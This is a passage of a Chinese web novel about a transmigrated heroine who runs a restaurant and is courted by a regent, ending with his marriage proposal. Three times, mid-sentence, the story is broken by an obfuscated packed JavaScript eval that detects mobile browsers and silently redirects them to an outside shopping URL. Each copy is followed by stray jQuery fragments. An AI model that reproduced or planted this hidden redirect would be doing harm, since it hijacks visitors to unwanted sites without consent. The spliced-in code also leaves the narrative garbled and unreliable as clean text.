她核对账目,他便坐在角落喝茶,不言不语,却存在感极强;她指点后厨试菜,他便凑过来,拿起筷子尝一口,点评得头头是道,语气还带着几分刻意的讨好;她和供货商谈合作,他便在一旁听着,偶尔插一两句话,那气场,吓得供货商连价格都不敢虚报。
余柚试过驱赶他,语气强硬:“王爷日理万机,何必在这市井酒楼浪费时间?”
他却淡淡回应:“本王近日清闲,听闻盛京楼的菜名满京城,想来尝尝鲜,余小姐这是不欢迎?”
她还试过找借口:“酒楼人多嘈杂,恐扰了王爷清净,不如回府享用?”
他便拿起茶杯抿一口,语气带着一丝玩味:“本王觉得这般热闹甚好,比王府有意思多了。况且,余小姐在此,本王自然要留下来陪伴。”
话说到这份上,余柚便再也无法拒绝。他是权倾朝野的摄政王,他要留下,谁敢赶他走?
久而久之,盛京楼的伙计和管事也都习惯了这位“特殊客人”的存在,甚至私下里偷偷议论,说他们掌柜和摄政王关系不一般。
余柚听得头疼,却也无可奈何。她总不能真的把这位爷赶出去,只能睁一只眼闭一只眼,尽量无视他的存在,专注于酒楼的事务。
可他的存在感实在太强了。
她走到哪里,他的目光就跟到哪里;她遇到棘手的问题,他总能不动声色地帮她解决;甚至有一次,一位地痞流氓来酒楼闹事,还没等伙计动手,就被他身边的侍卫拎了出去,再也没出现过。
日子一天天过去,余柚发现,自己似乎也渐渐习惯了他的存在。
习惯了他坐在角落喝茶的身影,习惯了他偶尔插言的点评,习惯了那些官员因为他的到来而带来的火爆生意,甚至习惯了在忙碌间隙,下意识地往他那个方向瞥一眼。
她不得不承认,有他在,盛京楼的生意好了不止一倍,那些平日里难搞的供货商和地痞流氓,也都安分了许多。
这天傍晚,余柚处理完酒楼的事务,卸下掌柜的重担,换上一身轻便的衣裙,牵着阿圆准备回府。刚走到门口,就看到那辆熟悉的墨色马车停在街边,萧绝倚在车旁,身旁还跟着一只毛色乌黑发亮的猫,正是她上次在摄政王府后院见到的那只,蓝宝石般的眼睛,此刻正警惕地盯着阿圆。
“余小姐,今日天色甚好,不如一同散步回府?”萧绝开口,语气自然,仿佛他们本就该如此。
阿圆看到黑猫,立刻兴奋地摇起尾巴,想凑上去,却被黑猫呲牙哈气地拦住,一人一猫一狗,瞬间僵持在原地。
余柚看着这有趣的一幕,忍不住笑了出来。连日来因为他刻意纠缠而产生的烦闷,似乎在这一刻烟消云散。
她牵着阿圆,率先往前走:“王爷要跟便跟吧,只是别让你的猫欺负我的狗。”
萧绝眼底闪过一丝笑意,跟上她的脚步,黑猫也迈着优雅的步伐,跟在他身后,时不时对着阿圆呲牙,阿圆也不甘示弱地低吼两声,却始终不敢真的上前。
夕阳西下,金色的余晖洒在街道上,将两人一猫一狗的影子拉得很长。
余柚牵着阿圆,慢慢走着,萧绝陪在她身旁,偶尔开口,说起一些朝堂上的趣事,语气轻松,没有了往日的威严,多了几分烟火气。
余柚偶尔回应两句,大多数时候只是听着,目光落在阿圆和黑猫身上。那只黑猫,果然如它的主人一般,高傲又矜贵,从头到尾都瞧不上阿圆这只活泼好动的土松犬,而阿圆却像是没感觉到似的,依旧热情地想和它亲近。
“你这猫,倒是和你一样。”余柚忍不住开口,语气带着一丝调侃。
萧绝挑了挑眉:“哦?余小姐觉得,本王和它哪里一样?”
“一样的高傲,一样的……不好接近。”余柚想了想,如实说道。
萧绝低笑一声:“本王在余小姐眼里,竟是这般模样?”他顿了顿,看向她,眼底带着一丝认真,“其实,本王只是不太会与人相处罢了。”
余柚愣了一下,转头看他。夕阳的余晖洒在他脸上,柔和了他冷峻的轮廓,那双墨色的眼眸里,带着一丝不易察觉的落寞,让她心头莫名一动。
她想起系统提供的资料,他自幼丧母,寄人篱下,在贵妃的严苛教导下长大,没有感受过多少温暖,难怪性格会如此冷硬。
“王爷不必妄自菲薄。”余柚移开视线,语气缓和了许多,“王爷只是不擅长表达罢了。”
两人一路走着,有一搭没一搭地聊着,阿圆和黑猫依旧时不时地互怼,却也相安无事。余柚发现,和他这样平静地散步聊天,似乎也没有那么糟糕。
她渐渐想通了。
何必那么纠结于任务者的身份,何必那么抗拒这份突如其来的亲近?她是来完成任务的,剧情的走向本就是从“他,我死都不嫁”到“别死,我嫁给你”,他对她的亲近,或许也是剧情的一部分。
与其刻意疏远,让自己心烦意乱,不如放宽心,走一步看一步。享受当下的平静,顺其自然,至于未来的事,等发生了再想也不迟。
想通这一点,余柚的心情豁然开朗,看向萧绝的目光,也多了几分坦然,少了几分刻意的抗拒。
萧绝敏锐地察觉到了她的变化,眼底闪过一丝不易察觉的欣喜,话也多了起来,从朝堂趣事说到民间传闻,甚至还说起了他小时候微服私访时,见到木雕匠人时的好奇。
余柚静静地听着,偶尔插一两句话,气氛和谐而温馨。
不知不觉,就到了余府门口。阿圆和黑猫似乎也累了,不再互怼,各自趴在主人脚边喘气。
“今日多谢王爷陪伴。”余柚停下脚步,转身对他说道,语气真诚,没有了往日的疏离。
萧绝看着她,眼底带着温柔的笑意:“能陪余小姐散步,是本王的荣幸。明日,本王还来盛京楼‘尝鲜’。”
余柚无奈地笑了笑:“王爷随意便好。”
说完,她牵着阿圆,转身走进府门。萧绝站在原地,看着她的背影消失在门后,才弯腰抱起黑猫,眼底的笑意愈发浓厚。
他知道,他的努力没有白费。她已经渐渐放下了对他的抗拒,这就够了。
日子就这般不紧不慢地过着。
萧绝果然说到做到,每日都会准时出现在盛京楼,有时坐在角落喝茶看书,有时帮着余柚处理一些棘手的事务,有时甚至会穿上伙计的衣服,学着端茶倒水,引得酒楼里的客人惊掉下巴,却也不敢多言。
余柚从最初的无奈,到后来的习以为常,甚至偶尔会觉得,有他在身边,确实多了许多乐趣。
他会在她核对账目累了的时候,递上一杯温热的茶水;会在她被难缠的客人刁难时,不动声色地为她解围;会在她和伙计们研究新菜品时,第一个上前品尝,给出中肯的意见;甚至会在她牵着阿圆散步时,准时带着黑猫出现,陪着她走过整条街道。
盛京楼的生意因为萧绝的到来,愈发火爆,甚至成了京城最有名的打卡之地,人人都想来看一看,这位权倾朝野的摄政王,为何会对一家市井酒楼情有独钟,为何会对酒楼的女掌柜如此特殊。
关于他们的传闻,在京城里愈演愈烈,有人说余柚是摄政王的红颜知己,有人说两人早已私定终身,甚至还有人说,摄政王打算纳余柚为妃。
这些传闻传到余柚耳中,她也只是淡淡一笑,她已经调整好了心态,不再为这些没有根据的传闻烦恼,也不再纠结于自己任务者的身份。
她和萧绝之间,或
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17157983|195493||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
许有剧情的推动,或许有任务的牵绊,但不可否认的是,在日复一日的相处中,那份最初的心动,已经渐渐生根发芽,长成了更深厚的情愫。
她喜欢看他笨拙学木雕的模样,喜欢听他说朝堂上的趣事,喜欢他偶尔流露出的温柔与细心,甚至喜欢他和阿圆、黑猫之间的互动。
这天,盛京楼来了一位特殊的客人——太后身边的红人,李公公。
李公公一进门,就直奔二楼雅间,点名要见余柚。余柚心里咯噔一下,知道该来的总会来。
之前她在宫宴上,众目睽睽之下说的那句“他,我死都不嫁”,太后听进去了,余柚听她爹说过,最近一段时日太后多有拉拢之意。
但余尚书向来是中立派,自是拒绝了好些个太后的好意。
太后一直视萧绝为眼中钉,如今看到萧绝对她如此特殊,恐会觉得自己被耍了,想必是不会善罢甘休的。
她整理了一下衣裙,定了定神,走进雅间。
雅间内,李公公端坐在主位上,一身暗红色宫装,腰间挂着御赐的玉佩,神色倨傲,见余柚进来,眼皮都未曾抬一下,只端着茶杯慢条斯理地啜饮,茶盖碰撞杯沿,发出清脆却带着压迫感的声响。
“余小姐,老奴奉旨而来,倒是没想到,你如今这般有脸面。”李公公终于放下茶杯,抬眼看向她,目光锐利如刀,带着久居深宫养出的倨傲与审视,“摄政王殿下日日为你流连市井,京城里的风言风语都快传疯了,你可知,这已是冒犯了皇家威严?”
余柚福身行礼,语气平静无波:“公公此言差矣。王爷屈尊莅临盛京楼,不过是瞧得上小店的菜品,至于风言风语,皆是旁人无端揣测,作不得数。”
“作不得数?”李公公冷笑一声,猛地一拍桌面,茶杯都跟着震颤,“太后娘娘念你年幼,又是尚书府嫡女,先前宫宴之事未曾与你计较,甚至有意拉拢,可你倒好,转头就与摄政王走得这般亲近,这不是打太后娘娘的脸,是什么?”
他的声音陡然拔高,带着毫不掩饰的威胁:“余小姐,你最好想清楚,摄政王权势再大,也终究是臣子,太后娘娘才是后宫之主,皇家颜面的执掌者。你与摄政王走得太近,不仅是冒犯威严,更是自寻死路!”
“老奴今日来,是给你一个警告。”李公公往前倾了倾身子,眼底的阴鸷愈发明显,“十日内,与摄政王断了所有往来,不准他再踏入盛京楼半步,否则,别怪太后娘娘不顾及尚书府的颜面,对你不客气!”
余柚心头一凛,面上却依旧维持着镇定:“公公,我与王爷之间清清白白,并无逾矩之举,王爷要来盛京楼,我一个市井女子,无权阻拦。”
“无权阻拦?”李公公眼神一沉,“你若是真心想避嫌,有的是办法!别给脸不要脸,太后娘娘的手段,你未必承受得起!希望你你好自为之!”
说完,他不再看余柚,拂袖起身,扬长而去,雅间内还残留着他身上浓郁的熏香,混杂着一丝让人不适的压迫感。
余柚站在原地,指尖微微攥紧,眼底闪过一丝冷意。
太后此举,哪里是在意什么皇家威严,分明是觉得自己的拉拢被拒绝,又瞧见萧绝对她特殊,便想借着打压她来给萧绝难堪,顺带敲打中立的余尚书。
她转身走出雅间,刚到二楼栏杆处,就见萧绝不知何时已站在那里,墨色的眼眸沉沉的,显然是将方才的对话听了个正着。
“别怕。”萧绝走上前,声音低沉而坚定,伸手轻轻拍了拍她的肩膀,“有我在,没人能伤你分毫。”
余柚抬头看他,他的眼底没有丝毫慌乱,只有一片深不见底的冷冽,那是她从未见过的、属于掌权者的杀伐之气。
她垂眸,感受到了皇权争霸的交锋,不想参与太多,只是点点头,当做今日和李公公未曾见过面,继续她平淡的小生活。
三日后。
盛京楼。
余柚刚送走最后一批客人,正准备关门,脑海里突然响起系统冰冷而庄重的机械音:
【叮!结尾剧情节点已触发!】
【任务要求:任务对象即将遭遇致命危机,宿主需在其生死关头,亲口说出“别死,我嫁给你”,完成剧情闭环!】
【任务时限:48小时】
22. 第 22 章
盛京楼的生意一如既往地热闹,余柚指尖划过账本上密密麻麻的数字,心思却飘得老远。
往日里这个时辰,那道墨色身影早该坐在大堂角落,一壶清茶,一双似有若无的眼,牢牢黏在她身上。可这三日,摄政王府的马车没再出现,萧绝的身影也彻底消失在盛京楼的视野里。
伙计擦着桌子,忍不住念叨:“掌柜的,摄政王殿下怎么没来?往日这时候,他都该点一壶雨前龙井了。”
余柚握着笔的手一顿,墨汁在宣纸上晕开一小团黑点。她强装镇定,淡淡道:“王爷日理万机,哪有功夫日日来这市井之地?”
话虽如此,心头那点莫名的焦躁却像野草般疯长。方才系统的结尾任务提示音还在脑海里回响,“致命危机”四个字沉甸甸压在心上。她知道,萧绝的消失绝非偶然,这定是暴风雨前的宁静。
这两日,时间一点点过去,余柚愈发坐立难安。她会借口查账,频繁跑到门口张望,看那辆熟悉的墨色马车是否会出现;会让小橘去街上打探消息,“问问摄政王府最近可有异动”;甚至在和供货商谈合作时,也会忍不住绕到朝堂琐事上,旁敲侧击萧绝的近况。
“听闻王爷前几日处置了几名贪墨官员,动作雷霆啊。”供货商感叹道。
余柚端着茶杯的手微微收紧,“王爷向来行事果决,不过是分内之事。”嘴上说得淡然,眼底却掠过一丝不易察觉的担忧。
这种焦虑无处安放,最终化作了药铺里堆积如山的瓶瓶罐罐。
余柚乔装打扮,接连跑了京城三家最好的药铺,金疮药、止血散、解毒丹,只要是市面上能买到的上等药材,她都买了个遍,塞满了闺房的暗格。
小橘看着堆成小山的药瓶,满脸疑惑:“小姐,咱们府里又没人受伤,买这么多药做什么?”
余柚正在小心翼翼地将解毒丹分成小份,闻言动作一顿,随口找了个借口:“最近天气变化大,备着以防万一。再说,酒楼人多手杂,难免有磕碰。”
话落,她将分好的药包塞进随身的荷包里,指尖触到冰凉的瓷瓶,心头那点慌乱才稍稍平复。她不知道萧绝的危机何时到来,只能做足万全准备,希望像过去无数次那样救下他。
这日清晨,余柚刚打开盛京楼的大门,脑海里突然响起系统急促的警报声,比以往任何一次都要尖锐:
【叮!紧急任务触发!】
【任务对象萧绝将于两小时后在摄政王府遭遇致命伏击,刺客携抹了剧毒的利刃,中剑者半个时辰内若无解药便会气绝身亡!】
【此为结尾剧情关键节点,请宿主务必在其失去意识前亲口说出“别死,我嫁给你”,完成剧情闭环!】
【任务限时:120分钟!】
余柚的心脏骤然缩紧,手脚瞬间冰凉。她几乎是立刻转身,抓起挂在门边的披风,对小橘丢下一句“酒楼事宜暂交你打理”,便提步狂奔出去。
街上的行人纷纷避让,她裙摆翻飞,发丝凌乱,额角沁出细密的汗珠。往日里觉得不算太远的路程,此刻却显得格外漫长。她能清晰地听到自己的心跳声,“砰砰砰”撞得胸腔发疼,既有对任务的紧张,也有一丝连自己都不愿承认的惶恐。
摄政王府的朱漆大门近在眼前,门前的侍卫神色凝重,腰间佩刀出鞘大半。余柚心头一紧,顾不上通报,凭着往日的熟稔,绕到侧门翻墙而入。
府内一片狼藉。
假山旁、回廊下,横七竖八躺着不少身着黑衣的刺客,个个气息奄奄,有的已经没了动静,暗红色的血迹染红了青石板路。空气中弥漫着浓重的血腥味,让人胃里一阵翻涌。
余柚握紧了荷包里的解药,脚步踉跄地往后院跑去。系统说危机在后院,她必须尽快找到萧绝。
然而,当她冲进后院时,却愣住了。
萧绝一袭墨色常服,站在海棠树下,身姿挺拔如松。他手中握着一把染血的长剑,剑刃上的血迹正顺着剑尖滴落,脸上却不见丝毫狼狈,气息平稳得仿佛只是刚散了步。
看到她气喘吁吁、神色慌张地冲进来,额角汗湿,裙摆沾着尘土,萧绝眼底闪过一丝意外,唇角缓缓勾起一抹笑意。
余柚的大脑瞬间一片空白,所有的担忧、焦虑、准备好的应对之策,在这一刻尽数崩塌。
她愣在原地,看着眼前安然无恙的男人,又看了看周围倒地的刺客,一时竟不知该作何反应。
“你怎么来了?”萧绝率先开口,声音带着一丝不易察觉的雀跃,迈步朝着她走来。
他每走一步,余柚就下意识地往后退一步。脑海里乱糟糟的,系统说他会性命垂危,说这是致命危机,可眼前的景象,分明是他大获全胜。
“你……你没事?”余柚的声音带着一丝颤抖,眼神里满是困惑和茫然。
萧绝步步紧逼,眼底的笑意越来越浓:“本王看起来像有事的样子?”
后院的空间不算太大,他每走一步,余柚就下意识地往后退一步,几步步退下来,余柚的后背突然撞上了冰冷的墙壁,退无可退。她抬起头,看着近在咫尺的男人,他身上的雪松香混杂着淡淡的血腥味,扑面而来,让她心跳莫名加速。
萧绝停下脚步,居高临下地看着她,温热的呼吸拂过她的额头:“这么着急跑过来,是担心我?”
余柚的脸颊瞬间发烫,下意识地避开他的目光,指尖紧紧攥着荷包,里面的药瓶硌得手心发疼:“我才没有!只是……只是听说王府有刺客,怕你出事影响到我,毕竟你要是死了,我之前教你木雕的功夫不就白费了?”
“哦?只是为了这个?”萧绝低笑一声,伸手想去碰她汗湿的额发,却被她偏头躲开。他也不恼,收回手,语气带着几分试探:“那若是没有木雕这层关系,你便不会来?”
“当然!”余柚硬着头皮反驳,可话一出口,就觉得心虚
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171297|195493||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。方才听到警报时,她脑子里第一个念头不是任务失败,也不是木雕功夫白费,而是他不能有事。
萧绝盯着她慌乱的眼神,眼底的笑意更深:“可我瞧着你这模样,倒像是怕我真出事。”他顿了顿,话锋一转,语气变得认真,“你知不知道,方才那些刺客,目标是我的心口,他们的刀刃上抹了剧毒,若是中了招,就算有解药,也未必能救回来。”
余柚的心猛地一揪,抬头看向他:“那你还这么不当回事?就不知道多带些侍卫?”
“因为我知道你会来。你有预知梦,不是么?”萧绝的目光紧紧锁着她,“前几次遇险,你都能恰好出现,这次我猜你也不会例外。”
“谁要管你!”余柚别过脸,声音带着一丝不易察觉的委屈,“我只是不想我的努力付诸东流,不是关心你。”
“是吗?”萧绝俯身凑近,两人之间的距离瞬间拉近,他能清晰地闻到她发间淡淡的清香,“那你荷包里装的是什么?金疮药?解毒丹?还是特意为我准备的?”
萧绝垂眸,长睫在眼下打出一片阴影,他预料到了她会来,她也许是胡诌出来的预知梦,但他的确是信了。
他知道她回来。
但,见到她这般为他着急的模样……
他贪心地想要更多了。
余柚被他戳中心事,脸颊更烫了,伸手想把荷包往后藏:“我只是……只是顺手买的,谁知道你用不用得上。”
“顺手买这么多?”萧绝挑眉,目光落在她攥紧的荷包上,似乎看穿了她的心思,俯身凑近了些,温热的呼吸拂过她的耳畔,声音低沉而富有磁性:“余柚,你就这么怕我死?”
这句话像一道惊雷,劈开了余柚混乱的思绪。
系统的任务提示音在脑海里回响,“生死关头”“亲口说出”“别死,我嫁给你”,一个个关键词清晰地浮现。她知道萧绝不懂系统,不懂任务,可此刻他的问题,却恰好撞在了剧情的节点上。
心头的防线轰然崩塌,她抬起头,撞进萧绝深不见底的眼眸里,那里面翻涌着期待、探究,还有一丝她看不懂的深情。她张了张嘴,声音不算响亮,却异常清晰:
“你别出事!别死,我嫁给你!”
话音落下的瞬间,周围仿佛陷入了绝对的寂静。
萧绝脸上的笑意僵住了,眼底的戏谑渐渐褪去,取而代之的是浓浓的震惊,随即爆发出难以抑制的兴奋。
他猛地握住她的肩膀,力道有些大,语气带着一丝颤抖:“你再说一遍?你要嫁给本王?”
余柚被他突如其来的动作吓了一跳,脸颊瞬间红透,从耳根一路蔓延到脖颈。她这才反应过来自己说了什么,心脏“砰砰”跳得快要跳出胸腔,眼神慌乱地四处闪躲,不敢再看他的眼睛。
【叮!结尾剧情闭环完成!】
【宿主需在本世界再停留一段时日,等待剧情趋于稳定时即可脱离。】
23. 第 23 章
“我……我不是……”余柚张了张嘴,想解释这只是剧情需要,却发现喉咙像被堵住一般,一个字也说不出来。
对上萧绝那双满是期待的眼睛,她莫名地心虚,不敢再看他,只能猛地推开他的手,转身就往院外跑。
“诶!余柚!”萧绝下意识地想拉住她,指尖却只擦过她的衣袖,看着她像受惊的小鹿般,裙摆翻飞地冲出后院,脚步慌乱得几乎要绊倒。
他站在原地,看着她仓促逃离的背影,眼底的狂喜渐渐沉淀,化作一抹温柔的笑意,指尖还残留着她衣袖的触感,耳边反复回响着那句“别死,我嫁给你”。
跑离摄政王府的那一刻,余柚才敢停下脚步,扶着街边的老槐树大口喘气,脸颊依旧烫得惊人。街上行人投来好奇的目光,她却顾不上在意,脑海里全是萧绝那双带着狂喜的眼睛,还有自己不受控制的心跳。
“系统,系统!”她在心里急切地呼唤,“剧情闭环已经完成了吧?我什么时候能离开这个世界?”
【叮!宿主已完成结尾剧情闭环,本世界剧情进入稳定期。经检测,当前世界仍需一定时间完成后续逻辑自洽,预计停留时长为一个月左右。】
系统冰冷的机械音如期响起,却让余柚松了口气的同时,又莫名生出一丝说不清道不明的失落。
一个月。
她还要在这个世界待一个月。
余柚慢慢走回余府,一路上都有些魂不守舍。刚进门,就撞见了迎面走来的余夫人,见她神色慌张、脸颊通红,不由得关切地问道:“柚儿,你这是去哪了?怎么一副魂不守舍的模样?”
“没、没去哪,就是出去散了散步。”余柚连忙掩饰,不敢让娘亲看出端倪,匆匆行了一礼便逃回了自己的院子。
回到闺房,她瘫坐在梳妆台前,看着铜镜里脸颊绯红、眼神慌乱的自己,忍不住抬手拍了拍脸颊。
“余柚啊余柚,你只是在完成任务,别想太多。”她低声安慰自己,可脑海里却总是不由自主地浮现出萧绝的模样——他学木雕时笨拙的样子,他护着她时坚定的样子,还有方才听到那句话时,眼里藏不住的狂喜。
接下来的日子,出乎余柚意料的平静。
萧绝没有再来盛京楼,也没有派人来传唤她,仿佛那日后院的告白从未发生过。起初,余柚还有些忐忑,生怕他会立刻上门提亲,让她措手不及。
可日子一天天过去,摄政王府那边始终没有动静,只有每天清晨,会有王府的小厮准时送来一个精致的小匣子。
第一天的匣子里,是一只木雕的小猫,神态慵懒,蓝宝石般的眼睛栩栩如生,正是她当初在王府后院见过的那只黑猫,雕刻得惟妙惟肖,一看便知花费了不少心思。
第二天,是一盒上好的桂花糕,甜而不腻,正是她最爱的口味。
第三天,是一支素银簪子,簪头雕刻着细小的兰草,清雅别致,和她教他雕刻的第一株兰草如出一辙。
往后的日子里,小匣子里的东西层出不穷——有时是一本她提过的话本,书页间夹着晒干的桃花瓣;有时是一块温润的玉佩,触手生温;有时是一小罐她喜欢的蜜饯,甜得恰到好处。
每一件东西都精准地戳中了她的喜好,显然是萧绝特意为她准备的。余柚看着这些小玩意,心里五味杂陈。她知道自己不该对任务对象动心,可这份不动声色的温柔,却像温水煮蛙般,一点点侵蚀着她的防线。
她没有拒绝这些礼物,也没有主动联系萧绝,只是默默地将它们收好,放在闺房的柜子里,偶尔拿出来看看,心里会泛起一丝淡淡的暖意。
这段时日,京城里的风声也渐渐变了。
余柚从余大人那里断断续续地听到一些消息。据说,摄政王最近在朝堂上动作频频,手段雷霆,先是揪出了几名贪墨的官员,顺藤摸瓜牵扯出了太后党羽的不少罪证。随后,他又以雷霆之势,处置了几位太后的心腹重臣,将他们的势力连根拔起。
“现在朝堂上,已经没人敢和摄政王对着干了。”余大人在饭桌上感叹道,语气里带着一丝庆幸,还有一丝不易察觉的敬畏,“太后那边元气大伤,已经无力再与王爷抗衡,如今的朝堂,几乎成了摄政王的一言堂啊。”
余夫人听得心惊胆战:“这么说来,王爷现在是彻底掌权了?那咱们柚儿……”
“放心吧。”余大人摆摆手,看向余柚的眼神带着一丝复杂,“王爷这些日子没找咱们麻烦,反而对咱们余府多有照拂,想来是不会计较当初柚儿在宫宴上的失礼了。”
余柚低头扒着碗里的饭,没有说话。她知道,萧绝在朝堂上的雷霆手段,既是为了巩固自己的权势,也是为了扫清障碍。或许,他是在为他们的未来铺路?这个念头刚冒出来,就被她强行压了下去。她不能再想了,再过不久,她就要离开这个世界了。
日子在平静中一天天过去,萧绝依旧每天送来小礼物,却始终没有露面。余柚也渐渐习惯了这样的生活,打理盛京楼的事务,遛遛阿圆,偶尔看看萧绝送来的话本,日子过得充实而平静。
只是偶尔,她会在夜深人静时,想起那日在摄政王府后院,自己喊出的那句话,想起萧绝那双满是狂喜的眼睛,心里会泛起一丝莫名的期待,还有一丝淡淡的惶恐。她不知道自己离开这个世界后,萧绝会怎么样,也不知道这份在任务中滋生的情愫,最终会走向何方。
结尾任务完成后的第十五天,平静被彻底打破了。
那天清晨,余柚刚到盛京楼,就听到街上传来一阵喧闹声。她好奇地走到门口,顺着人群的目光望去,瞬间愣住了。
只见街的尽头,一队浩浩荡荡的人马正朝着余府的方向走来。最前面是八抬大轿,轿身装饰着精致的龙凤图案,红绸缠绕,格外喜庆。轿子两旁,是身着统一服饰的侍卫,身姿挺拔,气势威严。后面跟着数十名小厮,手里捧着各式各样的礼盒,堆满了金银珠宝、绫罗绸缎,还有珍稀的古玩字画,一眼望不到头。
而走在轿子旁的,正是身着一身暗红色锦袍的萧绝。他身姿挺拔,面容俊美,嘴角带着一丝淡淡的笑意,眼神温柔,却难掩周身的威严。
“这是……摄政王府的人吧?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17187106|195493||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“是啊!你看那阵仗,是要去谁家提亲?”
“好像是往余尚书府的方向去了!”
“余尚书府?难道是为了余小姐?”
“不会吧?当初余小姐在宫宴上可是喊出‘死都不嫁’摄政王的啊!”
“这你就不知道了吧?我前阵子还看到摄政王和余小姐在西山踏青呢,两人举止亲密,一看就关系不一般!”
“真的假的?那这可真是峰回路转啊!”
街上的百姓议论纷纷,像吃瓜群众般围在路边,伸长了脖子张望,脸上满是好奇和八卦。
余柚站在盛京楼门口,看着这浩浩荡荡的提亲队伍,大脑一片空白。萧绝……他真的来提亲了?
她来不及细想,立刻吩咐小橘看好酒楼,自己则快步朝着余府的方向跑去。她必须阻止他!至少,要问清楚他到底想干什么!
等余柚气喘吁吁地赶到余府门口时,提亲队伍已经停在了府门前。萧绝刚下轿,余大人和余夫人就已经恭敬地迎了出来,脸上带着受宠若惊的表情。
“王爷大驾光临,下官有失远迎,恕罪恕罪!”余大人连忙拱手行礼,语气里满是惶恐和敬畏。
他实在没想到,权倾朝野的摄政王会亲自上门提亲,而且还摆出了这么大的阵仗。
萧绝脸上带着温和的笑意,伸手扶起余大人,语气和善:“余大人不必多礼,本王今日是来提亲的,并非以王爷的身份,而是以晚辈的身份,登门拜访。”
他的态度亲和,没有丝毫往日的冷冽和狠辣,与传闻中那个心狠手辣的形象判若两人。余大人更是受宠若惊,连忙说道:“王爷太客气了,请进,请进!”
萧绝点点头,目光在人群中扫过,很快就锁定了刚跑过来的余柚。他眼底闪过一丝笑意,朝着她伸出手:“柚儿,你来了。”
周围百姓的目光瞬间聚焦在余柚身上,带着好奇和探究。余柚的脸颊瞬间发烫,她没有理会萧绝伸出的手,而是快步走上前,拉住他的衣袖,将他往府内的后院方向带。
“王爷,我有话要问你!”她的声音带着一丝急切,还有一丝不易察觉的慌乱。
萧绝任由她拉着,眼底的笑意更深了。他对着余大人和余夫人歉意地笑了笑:“岳父岳母,失礼了,我先和柚儿说几句话。”
余柚闻言登了萧绝一眼。
谁是你岳父岳母!她还没同意提亲呢!
余大人和余夫人连忙摆手:“不碍事,不碍事,王爷和柚儿自便。”两人对视一眼,都从对方眼里看到了震惊和欣慰。看来,自家女儿和摄政王的好事,是板上钉钉了。
余柚拉着萧绝一路走到后院的花园里,才松开他的衣袖,转身看着他,脸上带着一丝恼怒和困惑:“萧绝,你到底想干什么?为什么要来我家提亲?”
萧绝看着她气鼓鼓的模样,像只炸毛的小猫,眼底的笑意更浓了。
他没有回答她的问题,反而上前一步,伸手轻轻拂开她额前汗湿的发丝,语气温柔而认真:
“柚儿,你想当摄政王妃,还是皇后?”
24. 第 24 章
“你说什么?”
余柚猛地后退半步,像是被烫到一般甩开萧绝的手,脸颊瞬间红透,连耳根都泛着绯色。她睁大眼睛瞪着眼前的男人,语气里满是羞恼,还有一丝不易察觉的慌乱,“谁要嫁给你了?萧绝,你少自作多情!”
她怎么也没想到,萧绝会突然抛出这样的问题。摄政王妃?皇后?这两个身份太过沉重,沉重到让她有些喘不过气。更让她窘迫的是,他居然直接默认了她愿意嫁给他,还堂而皇之地和她讨论起身份来。
萧绝看着她炸毛的模样,眼底的笑意愈发温柔。他没有上前追逼,只是静静地看着她,目光深邃而认真,仿佛要将她的模样刻进骨子里。
“我没有自作多情。”他的声音低沉而磁性,带着一种不容置疑的笃定,“那日在后院,你亲口说‘别死,我嫁给你’,这句话,我记在心里了。”
“我那是……”余柚张了张嘴,想解释那只是为了完成任务,可话到嘴边,却怎么也说不出口。她看着萧绝眼底的深情,心头莫名一软,那些辩解的话像是被堵住了一般,一个字也吐不出来。
萧绝似乎看穿了她的窘迫,却没有点破,只是缓缓开口,语气带着一丝回忆和温柔:“自从那日听到你那句话,我便开始着手清理朝堂。太后党羽盘踞多年,势力根深蒂固,若不彻底拔除,将来你嫁过来,难免会受到牵连。我不想让你嫁入王府后,还要日日担忧后宫争斗、朝堂倾轧,我只想让你安安稳稳地做我的王妃,无忧无虑,不受半点委屈。”
他顿了顿,目光扫过余柚震惊的脸庞,继续说道:“这些日子,我处置了不少太后的心腹,朝堂上那些跳梁小丑也都被我一一收拾干净。如今的朝堂,已无人再敢与我抗衡,太后也彻底失了权势,再也无法对你构成任何威胁。柚儿,我做这些,都是为了你。”
余柚怔怔地看着他,心头泛起一股复杂的情绪。她从未想过,萧绝这段时间在朝堂上的雷霆手段,竟然是为了她。她一直以为,他只是为了巩固自己的权势,却没想到,这背后还藏着这样一份沉甸甸的心意。
“还记得我们第一次正式见面吗?”萧绝的声音温柔得像是羽毛,轻轻拂过余柚的心头,“那日余大人带着你和余夫人来摄政王府赔罪,你爹在我面前絮絮叨叨,而你却一副事不关己的模样,乖乖地坐着饮茶。我当时就在想,我的名声当真有那么差吗?明明是个娇俏可爱的小姑娘,却对我避如蛇蝎,甚至说出‘死都不嫁’的狠话。”
